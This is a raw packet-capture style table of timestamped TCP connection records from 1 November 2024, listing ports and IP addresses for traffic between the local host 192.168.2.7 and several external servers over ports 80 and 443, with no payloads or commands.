Nov 1, 2024 12:14:50.340583086 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:50.340594053 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:50.340595961 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:50.340631962 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:50.374684095 CET	49989	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:14:50.374739885 CET	443	49989	188.114.97.3	192.168.2.7
Nov 1, 2024 12:14:50.374814987 CET	49989	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:14:50.375397921 CET	49989	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:14:50.375411987 CET	443	49989	188.114.97.3	192.168.2.7
Nov 1, 2024 12:14:50.993675947 CET	443	49989	188.114.97.3	192.168.2.7
Nov 1, 2024 12:14:50.993765116 CET	49989	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:14:51.032480001 CET	49989	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:14:51.032522917 CET	443	49989	188.114.97.3	192.168.2.7
Nov 1, 2024 12:14:51.032870054 CET	443	49989	188.114.97.3	192.168.2.7
Nov 1, 2024 12:14:51.034190893 CET	49989	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:14:51.034456015 CET	49989	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:14:51.034485102 CET	443	49989	188.114.97.3	192.168.2.7
Nov 1, 2024 12:14:51.034594059 CET	49989	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:14:51.034600973 CET	443	49989	188.114.97.3	192.168.2.7
Nov 1, 2024 12:14:51.880012035 CET	443	49989	188.114.97.3	192.168.2.7
Nov 1, 2024 12:14:51.880124092 CET	443	49989	188.114.97.3	192.168.2.7
Nov 1, 2024 12:14:51.880301952 CET	49989	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:14:51.880501032 CET	49989	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:14:51.880516052 CET	443	49989	188.114.97.3	192.168.2.7
Nov 1, 2024 12:14:52.968622923 CET	49985	80	192.168.2.7	185.215.113.43
Nov 1, 2024 12:14:52.969165087 CET	49990	80	192.168.2.7	185.215.113.43
Nov 1, 2024 12:14:52.973925114 CET	80	49985	185.215.113.43	192.168.2.7
Nov 1, 2024 12:14:52.973978996 CET	80	49990	185.215.113.43	192.168.2.7
Nov 1, 2024 12:14:52.973995924 CET	49985	80	192.168.2.7	185.215.113.43
Nov 1, 2024 12:14:52.974061012 CET	49990	80	192.168.2.7	185.215.113.43
Nov 1, 2024 12:14:52.976485014 CET	49990	80	192.168.2.7	185.215.113.43
Nov 1, 2024 12:14:52.981314898 CET	80	49990	185.215.113.43	192.168.2.7
Nov 1, 2024 12:14:53.885921955 CET	80	49990	185.215.113.43	192.168.2.7
Nov 1, 2024 12:14:53.886009932 CET	49990	80	192.168.2.7	185.215.113.43
Nov 1, 2024 12:14:53.910341978 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:53.910626888 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:53.917001009 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:53.917017937 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:53.917138100 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:53.917150974 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:53.918380022 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:53.925069094 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:54.004916906 CET	49986	80	192.168.2.7	185.215.113.206
Nov 1, 2024 12:14:54.054490089 CET	49992	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:14:54.054544926 CET	443	49992	188.114.97.3	192.168.2.7
Nov 1, 2024 12:14:54.054610968 CET	49992	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:14:54.054939985 CET	49992	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:14:54.054954052 CET	443	49992	188.114.97.3	192.168.2.7
Nov 1, 2024 12:14:54.673990965 CET	443	49992	188.114.97.3	192.168.2.7
Nov 1, 2024 12:14:54.674057961 CET	49992	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:14:54.675663948 CET	49992	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:14:54.675673962 CET	443	49992	188.114.97.3	192.168.2.7
Nov 1, 2024 12:14:54.675916910 CET	443	49992	188.114.97.3	192.168.2.7
Nov 1, 2024 12:14:54.677123070 CET	49992	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:14:54.677947998 CET	49992	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:14:54.677953959 CET	443	49992	188.114.97.3	192.168.2.7
Nov 1, 2024 12:14:54.833260059 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:54.833277941 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:54.833296061 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:54.833308935 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:54.833319902 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:54.833327055 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:54.833332062 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:54.833350897 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:54.833383083 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:54.833400011 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:54.833412886 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:54.833422899 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:54.833441973 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:54.833468914 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:54.833472967 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:54.833511114 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:54.838155031 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:54.838202000 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:54.838222980 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:54.838234901 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:54.838248014 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:54.838274002 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:54.838309050 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:54.838669062 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:54.838716984 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:54.996016026 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:54.996054888 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:54.996069908 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:54.996079922 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:54.996082067 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:54.996097088 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:54.996108055 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:54.996129990 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:54.996143103 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:54.996153116 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:54.996155024 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:54.996165991 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:54.996176004 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:54.996193886 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:54.996227026 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:54.997014999 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:54.997062922 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:54.997077942 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:54.997097015 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:54.997106075 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:54.997109890 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:54.997150898 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:54.997654915 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:54.997668028 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:54.997679949 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:54.997704029 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:54.997714996 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:54.997726917 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:54.997740984 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:54.997742891 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:54.997769117 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:54.997796059 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:54.998450041 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:54.998469114 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:54.998481989 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:54.998493910 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:54.998517036 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:54.998550892 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.133439064 CET	443	49992	188.114.97.3	192.168.2.7
Nov 1, 2024 12:14:55.133539915 CET	443	49992	188.114.97.3	192.168.2.7
Nov 1, 2024 12:14:55.133598089 CET	49992	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:14:55.139928102 CET	49992	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:14:55.139960051 CET	443	49992	188.114.97.3	192.168.2.7
Nov 1, 2024 12:14:55.157030106 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.157075882 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.157089949 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.157100916 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.157103062 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.157118082 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.157131910 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.157134056 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.157156944 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.157181025 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.157322884 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.157351017 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.157363892 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.157377005 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.157402039 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.157439947 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.157453060 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.157465935 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.157479048 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.157491922 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.157540083 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.158173084 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.158185005 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.158198118 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.158216953 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.158236027 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.158242941 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.158248901 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.158260107 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.158274889 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.158283949 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.158313036 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.159015894 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.159034014 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.159056902 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.159065008 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.159070969 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.159082890 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.159089088 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.159100056 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.159111977 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.159116030 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.159141064 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.159152985 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.159871101 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.159883022 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.159894943 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.159915924 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.159954071 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.159986973 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.160000086 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.160012007 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.160023928 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.160031080 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.160062075 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.160765886 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.160783052 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.160794973 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.160828114 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.160828114 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.160840988 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.160855055 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.160866022 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.160867929 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.160963058 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.160963058 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.161621094 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.161633968 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.161643982 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.161655903 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.161663055 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.161683083 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.161715984 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.318098068 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.318118095 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.318130970 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.318181038 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.318228006 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.318228006 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.318242073 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.318260908 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.318275928 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.318298101 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.318312883 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.318329096 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.318367958 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.318373919 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.318381071 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.318402052 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.318413973 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.318427086 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.318459034 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.318675995 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.318689108 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.318701029 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.318726063 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.318747997 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.318784952 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.318798065 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.318820000 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.318825960 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.318840981 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.318851948 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.318856955 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.318867922 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.318871021 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.318881989 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.318892956 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.318896055 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.318918943 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.318938017 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.319561958 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.319575071 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.319586992 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.319621086 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.319641113 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.319746971 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.319757938 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.319770098 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.319782972 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.319812059 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.319853067 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.320013046 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.320039034 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.320050955 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.320058107 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.320070982 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.320082903 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.320092916 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.320095062 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.320107937 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.320116043 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.320132017 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.320154905 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.320502996 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.320548058 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.320554018 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.320560932 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.320599079 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.320601940 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.320607901 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.320615053 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.320621967 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.320635080 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.320658922 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.320713043 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.320745945 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.320759058 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.320770979 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.320784092 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.320797920 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.320801020 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.320811033 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.320843935 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.320856094 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.321507931 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.321520090 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.321531057 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.321563959 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.321564913 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.321578979 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.321592093 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.321592093 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.321611881 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.321613073 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.321646929 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.321676970 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.321940899 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.321952105 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.321993113 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.323339939 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.323353052 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.323364019 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.323375940 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.323389053 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.323400021 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.323401928 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.323412895 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.323426008 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.323438883 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.323442936 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.323457956 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.323468924 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.323472977 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.323486090 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.323492050 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.323498964 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.323528051 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.323559046 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.323656082 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.323668957 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.323679924 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.323707104 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.323715925 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.323729038 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.323739052 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.323740005 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.323755026 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.323755980 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.323779106 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.323812962 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.323824883 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.323837996 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.323848963 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.323859930 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.323868990 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.323872089 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.323884010 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.323893070 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.323934078 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.324605942 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.324619055 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.324649096 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.324661016 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.324661970 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.324673891 CET	80	49991	185.215.113.16	192.168.2.7
